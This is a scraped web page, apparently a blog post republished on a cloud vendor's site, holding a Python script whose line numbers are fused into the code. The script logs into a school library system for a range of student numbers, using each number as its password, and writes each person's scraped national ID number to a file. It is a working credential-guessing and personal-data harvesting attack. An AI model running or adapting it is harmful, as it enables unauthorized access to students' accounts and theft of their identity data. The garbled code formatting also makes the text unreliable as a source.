Python gets the ID number corresponding to the OAPC account of the school library

Source: Internet
Author: User

1 Importurllib.request2 ImportUrllib.parse3 ImportHttp.cookiejar4 ImportRe5 6Lib_login ='http://xxx.edu.cn/reader/redr_verify.php'7 8 defget_info (number, passwd, myfile):9CJ =Http.cookiejar.CookieJar ()TenPro =Urllib.request.HTTPCookieProcessor (CJ) OneOpener =Urllib.request.build_opener (PRO) A  -Postdict = { -         ' Number': Str (number), the         'passwd': Str (passwd), -         'Select':'Cert_no', -         'RETURNURL':"' -     } +PostData =Urllib.parse.urlencode (postdict). Encode () -OP =Opener.open (Lib_login, PostData) +data =Op.read (). Decode () ALOG_OK =False atIs_login = Re.compile ('<font color= "Blue" >.*</font>') -      forXinchIs_login.findall (data): -LOGIN_OK = Re.compile ('<[^>]+>') -LOGIN_OK = Login_ok.sub ("', X) -         ifLogin_ok! ="': -LOG_OK =True in         Else: -LOG_OK =False to     ifLOG_OK: +person_id = Re.compile ('ID Number: </span>\d*</TD>') -          forXinchPerson_id.findall (data): theUSR_PSW = Re.compile ('<[^>]+>') *USR_PSW = Usr_psw.sub ("', X) $USR_PSW + ='\ n'Panax NotoginsengNumber =Str (number) -Number + ='  ' the myfile.write (number) + myfile.write (USR_PSW) A Myfile.flush () the             Print(number +'OK') +             Print(USR_PSW) -          $f = open ('Wifi2013.txt','a') $  forIinchRange (2013002734, 2013003980): - Get_info (I, I, f) -F.close ()

Python gets the ID number corresponding to the OAPC account of the school library

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.